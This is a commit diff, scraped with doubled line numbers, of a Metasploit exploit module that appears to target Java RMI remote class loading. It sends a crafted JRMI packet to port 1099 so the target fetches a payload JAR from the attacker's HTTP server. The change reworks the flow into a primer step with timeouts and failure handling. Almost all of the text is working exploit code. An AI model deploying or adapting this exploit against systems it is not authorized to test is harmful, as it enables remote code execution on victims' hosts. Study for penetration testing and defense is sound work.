8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
9
Rank = ExcellentRanking
10
10
11
- include Msf ::Exploit ::Remote ::HttpServer
12
11
include Msf ::Exploit ::Remote ::Tcp
12
+ include Msf ::Exploit ::Remote ::HttpServer
13
13
14
14
def initialize ( info = { } )
15
15
super ( update_info ( info ,
@@ -38,10 +38,14 @@ def initialize(info = {})
38
38
] ,
39
39
'DisclosureDate' => 'Oct 15 2011' ,
40
40
'Platform' => %w{ java linux osx solaris win } ,
41
- 'Privileged' => true ,
42
- 'Payload' => { 'BadChars' => '' , 'DisableNops' => true } ,
43
- 'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
44
- 'Targets' =>
41
+ 'Privileged' => false ,
42
+ 'Payload' => { 'BadChars' => '' , 'DisableNops' => true } ,
43
+ 'Stance' => Msf ::Exploit ::Stance ::Aggressive ,
44
+ 'DefaultOptions' =>
45
+ {
46
+ 'WfsDelay' => 10
47
+ } ,
48
+ 'Targets' =>
45
49
[
46
50
[ 'Generic (Java Payload)' ,
47
51
{
@@ -74,16 +78,41 @@ def initialize(info = {})
74
78
}
75
79
]
76
80
] ,
77
- 'DefaultTarget' => 0
81
+ 'DefaultTarget' => 0
78
82
) )
79
- register_options ( [ Opt ::RPORT ( 1099 ) ] , self . class )
83
+ register_options ( [
84
+ Opt ::RPORT ( 1099 ) ,
85
+ OptInt . new ( 'HTTPDELAY' , [ true , 'Time that the HTTP Server will wait for the payload request' , 10 ] ) ,
86
+ ] , self . class )
80
87
81
88
register_autofilter_ports ( [ 1098 , 1099 ] )
82
89
register_autofilter_services ( %W{ rmi rmid java-rmi rmiregistry } )
83
90
end
84
91
85
92
def exploit
86
- start_service ( )
93
+ begin
94
+ Timeout . timeout ( datastore [ 'HTTPDELAY' ] ) { super }
95
+ rescue Timeout ::Error
96
+ # When the server stops due to our timeout, re-raise
97
+ # RuntimeError so it won't wait the full wfs_delay
98
+ raise ::RuntimeError , "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request"
99
+ rescue Msf ::Exploit ::Failed
100
+ # When the server stops due primer failing, re-raise
101
+ # RuntimeError so it won't wait the full wfs_delays
102
+ raise ::RuntimeError , "Exploit aborted due to failure #{ fail_reason } #{ ( fail_detail || "No reason given" ) } "
103
+ rescue Rex ::ConnectionTimeout , Rex ::ConnectionRefused => e
104
+ # When the primer fails due to an error connecting with
105
+ # the rhost, re-raise RuntimeError so it won't wait the
106
+ # full wfs_delays
107
+ raise ::RuntimeError , e . message
108
+ end
109
+ end
110
+
111
+ def peer
112
+ "#{ rhost } :#{ rport } "
113
+ end
114
+
115
+ def primer
87
116
connect
88
117
89
118
jar = rand_text_alpha ( rand ( 8 ) +1 ) + '.jar'
@@ -99,32 +128,29 @@ def exploit
99
128
packet [ idx , find_me . length ] = len + new_url
100
129
101
130
# write out minimal header and packet
102
- print_status ( "Connected and sending request for #{ new_url } " )
131
+ print_status ( "#{ peer } - Connected and sending request for #{ new_url } " )
103
132
#sock.put("JRMI" + [2].pack("n") + "K" + [0].pack("n") + [0].pack("N") + packet);
104
133
sock . put ( "JRMI" + [ 2 , 0x4b , 0 , 0 ] . pack ( "nCnN" ) + packet )
105
134
106
135
buf = ""
107
136
1 . upto ( 6 ) do
108
137
res = sock . get_once ( -1 , 5 ) rescue nil
109
- break if not res
138
+ break unless res
110
139
break if session_created?
111
140
buf << res
112
141
end
113
142
143
+ disconnect
144
+
114
145
if buf =~ /RMI class loader disabled/
115
- print_error ( "Not exploitable: the RMI class loader is disabled" )
116
- return
146
+ fail_with ( Failure ::NotVulnerable , "#{ peer } - The RMI class loader is disabled" )
117
147
end
118
148
119
- print_good ( "Target #{ rhost } :#{ rport } may be exploitable..." )
120
-
121
- # Wait for the request to be handled
122
- 1 . upto ( 120 ) do
123
- break if session_created?
124
- select ( nil , nil , nil , 0.25 )
125
- handler ( )
149
+ if buf =~ /java.lang.ClassNotFoundException/
150
+ fail_with ( Failure ::Unknown , "#{ peer } - The RMI class loader couldn't find the payload" )
126
151
end
127
152
153
+ print_good ( "#{ peer } - Target may be exploitable..." )
128
154
end
129
155
130
156
def on_request_uri ( cli , request )
@@ -145,6 +171,7 @@ def on_request_uri(cli, request)
145
171
} )
146
172
147
173
print_status ( "Replied to request for payload JAR" )
174
+ stop_service
148
175
end
149
176
end
150
177
0 commit comments